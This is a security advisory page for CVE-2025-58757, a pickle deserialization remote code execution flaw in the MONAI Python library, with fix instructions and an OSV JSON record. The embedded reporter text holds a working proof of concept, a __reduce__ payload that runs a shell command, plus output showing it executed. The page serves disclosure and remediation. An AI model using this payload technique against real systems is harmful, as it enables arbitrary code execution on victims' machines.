CVE-2025-58757: Monai Remote Code Execution Vulnerability
HIGHCVE-2025-58757 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Monai libraries in the PyPI ecosystem. The issue involves unsafe use of pickle deserialization may lead to rce. Remediation is available by upgrading affected packages to version 1.5.1.
CVE-2025-58757 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-58757
To remediate this vulnerability, upgrade all affected Monai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install monai>=1.5.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show monai
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-58757, inspect your installed packages using pip:
pip show monai
Analyze the terminal output to locate any version of Monai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.1), your application is affected.
Note: The pip show monai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Monai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-58757 Affected Monai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
monai
|
PyPI |
< 1.5.1
|
1.5.1
|
References
Frequently Asked Questions
What is CVE-2025-58757?
Which Monai versions are affected?
What version fixes CVE-2025-58757?
Is monai affected?
What is the CVSS score of CVE-2025-58757?
What CWE is associated with CVE-2025-58757?
How can I check PyPI dependencies for CVE-2025-58757?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p8cm-mm2v-gwjm",
"modified" : "2026-06-06T00:33:22Z",
"published" : "2025-09-09T21:21:23Z",
"aliases" : [ "CVE-2025-58757" ],
"summary" : "Monai: Unsafe use of Pickle deserialization may lead to RCE",
"details" : ">To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations \n\nimport pickle \nimport subprocess \n \nclass MaliciousPayload: \n def __reduce__(self): \n return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) \n \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = { \n 'image': 'normal_image_data', \n 'label_transforms': malicious_data, \n 'metadata_transforms': malicious_data \n}\n\nresult = pickle_operations(attack_data, is_encode=False) \n```\n\n```\n#My /tmp directory contents before running the POC\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nBefore running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.\n```\n#Running Poc\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nThe above proof-of-concept is merely a validation of the vulnerability.\nThe attacker creates malicious dataset content.\n```\nmalicious_data = {\n 'image': normal_image_tensor,\n 'label': normal_label_tensor,\n 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload\n 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points\n}\n\ndataset = [malicious_data, ...]\n```\nWhen a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.\n```\nfrom monai.data import list_data_collate\n\ndataloader = DataLoader(\ndataset,\nbatch_size=4,\ncollate_fn=list_data_collate # Trigger the vulnerability\n)\n\n# Automatically execute malicious code while traversing the data\n\nfor batch in dataloader:\n\n# Malicious code is executed in pickle_operations\n\npass\n```\nWhen a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.\n\n### Impact\nArbitrary code execution\n\n### Repair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "monai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-p8cm-mm2v-gwjm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58757"
}, {
"type" : "WEB",
"url" : "https://github.com/Project-MONAI/MONAI/pull/8566"
}, {
"type" : "WEB",
"url" : "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Project-MONAI/MONAI"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-142.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-09T21:21:23Z",
"nvd_published_at" : "2025-09-09T00:15:32Z"
}
}